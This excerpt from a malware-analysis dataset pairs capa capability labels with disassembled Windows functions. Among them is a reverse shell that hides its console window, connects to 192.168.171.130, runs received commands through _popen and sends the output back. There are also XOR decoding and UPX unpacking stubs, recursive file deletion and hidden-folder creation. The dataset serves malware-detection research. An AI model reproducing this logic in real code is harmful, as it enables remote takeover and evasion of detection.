joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4385be
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042b019
and dword [ebp - 4], 0
cmp dword [0x455a54], 0
mov ebx, eax
jne 0x43866f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x438720
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x445708
push edi
call esi
test eax, eax
je 0x438720
push eax
call fcn.0042afa7
mov dword [esp], 0x4456f8
push edi
mov dword [0x455a54], eax
call esi
push eax
call fcn.0042afa7
mov dword [esp], 0x4456e4
push edi
mov dword [0x455a58], eax
call esi
push eax
call fcn.0042afa7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x455a5c], eax
call esi
push eax
call fcn.0042afa7
pop ecx
mov dword [0x455a64], eax
test eax, eax
je 0x43866f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042afa7
pop ecx
mov dword [0x455a60], eax
mov eax, dword [0x455a60]
cmp eax, ebx
je 0x4386c7
cmp dword [0x455a64], ebx
je 0x4386c7
push eax
call fcn.0042b022
push dword [0x455a64]
mov esi, eax
call fcn.0042b022
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4386c7
test edi, edi
je 0x4386c7
call esi
test eax, eax
je 0x4386be
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4386be
test byte [ebp - 0xc], 1
jne 0x4386c7
or dword [ebp + 0x10], 0x200000
jmp 0x438700
mov eax, dword [0x455a58]
cmp eax, ebx
je 0x438700
push eax
call fcn.0042b022
pop ecx
test eax, eax
je 0x438700
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x438700
mov eax, dword [0x455a5c]
cmp eax, ebx
je 0x438700
push eax
call fcn.0042b022
pop ecx
test eax, eax
je 0x438700
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x455a54]
call fcn.0042b022
pop ecx
test eax, eax
je 0x438720
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x438722
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43d000
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov eax, dword [0x450bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x250]
push ecx
call fcn.00408936
add esp, 8
push 0x4461c0
lea edx, [ebp - 0x250]
push edx
call fcn.0040894c
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call fcn.00408936
add esp, 8
push 0x4461c4
lea edx, [ebp - 0x360]
push edx
call fcn.0040894c
add esp, 8
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x250]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0xffffffff
jne 0x43d08b
xor eax, eax
jmp 0x43d1ef
lea edx, [ebp - 0x360]
push edx
lea eax, [ebp - 0x250]
push eax
call fcn.00408936
add esp, 8
mov byte [ebp - 0x251], 1
movzx ecx, byte [ebp - 0x251]
test ecx, ecx
je 0x43d1d8
lea edx, [ebp - 0x148]
push edx
mov eax, dword [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x43d1ae
lea ecx, [ebp - 0x11c]
push ecx
call fcn.0043cfc0
add esp, 4
test eax, eax
je 0x43d0e8
jmp 0x43d0a8
lea edx, [ebp - 0x11c]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.0040894c
add esp, 8
mov ecx, dword [ebp - 0x148]
and ecx, 0x10
je 0x43d155
lea edx, [ebp - 0x360]
push edx
call fcn.0043d000
add esp, 4
test eax, eax
jne 0x43d130
mov eax, dword [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x43d1ef
lea ecx, [ebp - 0x360]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.00408936
add esp, 8
jmp 0x43d1ac
mov ecx, dword [ebp - 0x148]
and ecx, 1
je 0x43d174
push 0x80
lea edx, [ebp - 0x360]
push edx
call fcn.00424df8
add esp, 8
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x43d196
mov ecx, dword [ebp - 0x364]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x43d1ef
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.00408936
add esp, 8
jmp 0x43d1d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x43d1c2
mov byte [ebp - 0x251], 0
jmp 0x43d1d3
mov ecx, dword [ebp - 0x364]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x43d1ef
jmp 0x43d0a8
mov edx, dword [ebp - 0x364]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420391
mov esp, ebp
pop ebp
ret
Function at 0x43d200
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x450bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.00408936
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.00408936
add esp, 8
lea ecx, [ebp - 0x238]
push ecx
call fcn.00424be0
add esp, 4
mov byte [ebp + eax - 0x237], 0
lea edx, [ebp - 0x110]
push edx
call fcn.00424be0
add esp, 4
mov byte [ebp + eax - 0x10f], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 2
lea eax, [ebp - 0x238]
mov dword [ebp - 0x128], eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x124], ecx
mov dx, word [ebp + 0x10]
mov word [ebp - 0x120], dx
mov dword [ebp - 0x11e], 0
mov dword [ebp - 0x11a], 0
mov dword [ebp - 0x116], 0
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420391
mov esp, ebp
pop ebp
ret

Function at 0x43d2e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ebe3
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x450bf0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movsx eax, byte [ebp + 0xc]
push eax
call fcn.00424f7d
add esp, 4
mov byte [ebp - 0x11], al
mov ecx, dword [ebp + 8]
mov dl, byte [ecx]
mov byte [ebp - 0x19], dl
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
movsx eax, byte [ebp - 0x19]
sub eax, 0x41
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
je 0x43d3db
mov eax, dword [ebp - 0x10]
and eax, 1
je 0x43d3c5
movsx ecx, byte [ebp - 0x19]
movsx edx, byte [ebp - 0x11]
cmp ecx, edx
je 0x43d3c5
lea ecx, [ebp - 0x24]
call fcn.00410800
mov dword [ebp - 4], 0
movsx eax, byte [ebp - 0x19]
push eax
push 0x4463c4
lea ecx, [ebp - 0x24]
push ecx
call fcn.00410b80
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.00401ded
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jne 0x43d3b6
mov edx, dword [ebp + 8]
mov al, byte [ebp - 0x19]
mov byte [edx], al
mov byte [ebp - 0x25], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.004108a0
mov al, byte [ebp - 0x25]
jmp 0x43d3dd
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.004108a0
mov cl, byte [ebp - 0x19]
add cl, 1
mov byte [ebp - 0x19], cl
mov edx, dword [ebp - 0x10]
shr edx, 1
mov dword [ebp - 0x10], edx
jmp 0x43d33b
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x43d3f0
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ec1f
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x450bf0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x11], 0
lea ecx, [ebp - 0x18]
call fcn.00410800
mov dword [ebp - 4], 0
push 0x104
lea ecx, [ebp - 0x18]
call fcn.00401d3d
mov dword [ebp - 0x10], eax
push 0
push 0x25
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x18]
call fcn.00408d89
push str.ewfmgr.exe
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.00410900
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x28]
or edx, 1
mov dword [ebp - 0x28], edx
mov ecx, dword [ebp - 0x40]
call fcn.00401ded
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x43d4de
push str.driversewf.sys
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
call fcn.00410900
add esp, 0xc
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x28]
or edx, 2
mov dword [ebp - 0x28], edx
mov ecx, dword [ebp - 0x44]
call fcn.00401ded
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x43d4de
mov dword [ebp - 0x48], 1
jmp 0x43d4e5
mov dword [ebp - 0x48], 0
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x11], al
mov ecx, dword [ebp - 0x28]
and ecx, 2
je 0x43d4ff
and dword [ebp - 0x28], 0xfffffffd
lea ecx, [ebp - 0x20]
call fcn.004108a0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
and edx, 1
je 0x43d51a
and dword [ebp - 0x28], 0xfffffffe
lea ecx, [ebp - 0x1c]
call fcn.004108a0
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x21], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004108a0
mov al, byte [ebp - 0x21]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x43d560
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ec42
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x450bf0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movsx eax, byte [0x4560c0]
test eax, eax
jne 0x43d63d
push 1
push 0x2a
lea ecx, [ebp - 0x11c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movsx edx, byte [ebp - 0x11c]
test edx, edx
jne 0x43d5cb
push 1
push 0x26
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [ebp - 0x11c]
push ecx
lea ecx, [ebp - 0x10]
call fcn.00410820
mov dword [ebp - 4], 0
push 0x104
lea edx, [ebp - 0x11c]
push edx
lea ecx, [ebp - 0x10]
call fcn.00401ded
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x10]
call fcn.004108c0
push 0x4462cc
lea ecx, [ebp - 0x10]
call fcn.004108e0
lea ecx, [ebp - 0x10]
call fcn.00401ded
push eax
push 0x4560c0
call fcn.00424c70
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004108a0
mov eax, 0x4560c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00420391
mov esp, ebp
pop ebp
ret

Function at 0x43d6f0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ec7a
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x450bf0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movsx eax, byte [0x4561c8]
test eax, eax
jne 0x43d7de
mov byte [ebp - 0x12], 0x41
lea ecx, [ebp - 0x18]
call fcn.00410800
mov dword [ebp - 4], 0
call fcn.0043d560
push eax
lea ecx, [ebp - 0x10]
call fcn.00410820
mov byte [ebp - 4], 1
xor ecx, ecx
lea eax, [ebp - 0x10]
call fcn.0040793e
mov byte [ebp - 0x11], al
movzx ecx, byte [ebp - 0x11]
push ecx
lea edx, [ebp - 0x12]
push edx
call fcn.0043d2e0
add esp, 8
movzx eax, al
test eax, eax
je 0x43d786
movsx ecx, byte [ebp - 0x12]
push ecx
push 0x4462dc
lea edx, [ebp - 0x18]
push edx
call fcn.00410b80
add esp, 0xc
jmp 0x43d79c
movsx eax, byte [ebp - 0x11]
push eax
push str._c:Naiky_
lea ecx, [ebp - 0x18]
push ecx
call fcn.00410b80
add esp, 0xc
push 2
lea ecx, [ebp - 0x18]
call fcn.00401ded
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x18]
call fcn.00401ded
push eax
push 0x4561c8
call fcn.00424c70
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.004108a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004108a0
mov eax, 0x4561c8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x404d87
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x41f110
call fcn.00407dd0
push 1
call fcn.00407c3c
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x404c32
xor ebx, ebx
jmp 0x404c65
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x404c2e
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x404c2e
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x404c65
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.0040743a
test eax, eax
jne 0x404c79
push 0x1c
call fcn.00404d60
pop ecx
call fcn.004073a7
test eax, eax
jne 0x404c8a
push 0x10
call fcn.00404d60
pop ecx
call fcn.00407d25
and dword [ebp - 4], 0
call fcn.0040744f
test eax, eax
jns 0x404ca4
push 0x1b
call fcn.00404d60
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x4246a0], eax
call fcn.00407d65
mov dword [0x4222c4], eax
call fcn.00407703
test eax, eax
jns 0x404cca
push 8
call fcn.0040508d
pop ecx
call fcn.00407940
test eax, eax
jns 0x404cdb
push 9
call fcn.0040508d
pop ecx
push 1
call fcn.004050c7
pop ecx
test eax, eax
je 0x404cee
push eax
call fcn.0040508d
pop ecx
mov eax, dword [0x4222dc]
mov dword [0x4222f4], eax
push eax
push dword [0x4222d4]
push dword [0x4222cc]
call main
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x404d1c
push esi
call fcn.00405330
call fcn.004050b8
jmp 0x404d51
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00407e15
ret
call 0x4b4000
jmp 0x404c0c
Function at 0x40d8ee
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x430004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
mov ecx, 0x337761fe
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x525a3aba
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x41cee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x41cf02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cf09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cef8
mov eax, 1
add ebx, ebx
jne 0x41cf1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cf10
jne 0x41cf2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf10
xor ecx, ecx
sub eax, 3
jb 0x41cf40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cfb2
mov ebp, eax
add ebx, ebx
jne 0x41cf4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cf58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cf7c
inc ecx
add ebx, ebx
jne 0x41cf68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cf5d
jne 0x41cf79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cf9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cf8d
jmp 0x41cefe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cf9c
add edi, ecx
jmp 0x41cefe
pop esi
mov edi, esi
mov ecx, 0x157
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cfba
cmp byte [edi], 0
jne 0x41cfba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cfbf
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d02e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d100]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cfec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d104]
or eax, eax
je 0x41d028
mov dword [ebx], eax
add ebx, 4
jmp 0x41d009
call dword [esi + 0x1d108]
popal
jmp 0x403ab4
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40605c], 1
mov dword [0x406058], 1
mov dword [0x406054], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406068]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40607c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406064]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4014f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4ff8
call fcn.00402720
sub esp, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x40603c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
movzx edx, byte [0x404044]
movzx eax, byte [ebp - 0x40c]
movzx edx, dl
movzx eax, al
sub edx, eax
test edx, edx
jne 0x4015c6
mov eax, dword [0x40603c]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp], 0
call sym._exit
mov dword [esp + 4], 0x404046
lea eax, [ebp - 0x40c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
jmp 0x4015fb
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x4015e3
mov eax, dword [0x40603c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x47d0
lea eax, [ebp - 0x4fdc]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
jmp 0x4014ff
Function at 0x40165a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov eax, dword [sym.imp.KERNEL32.dll_AllocConsole]
call eax
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0x10], str.192.168.171.130
mov word [ebp - 0x12], 0xc355
lea eax, [ebp - 0x1b4]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x4016d6
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [0x40603c], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x24], 2
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x12]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x22], ax
nop
mov eax, dword [0x40603c]
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401780
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x401745
call sym._Shell
nop
leave
ret 0x10

Function at 0x4019f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]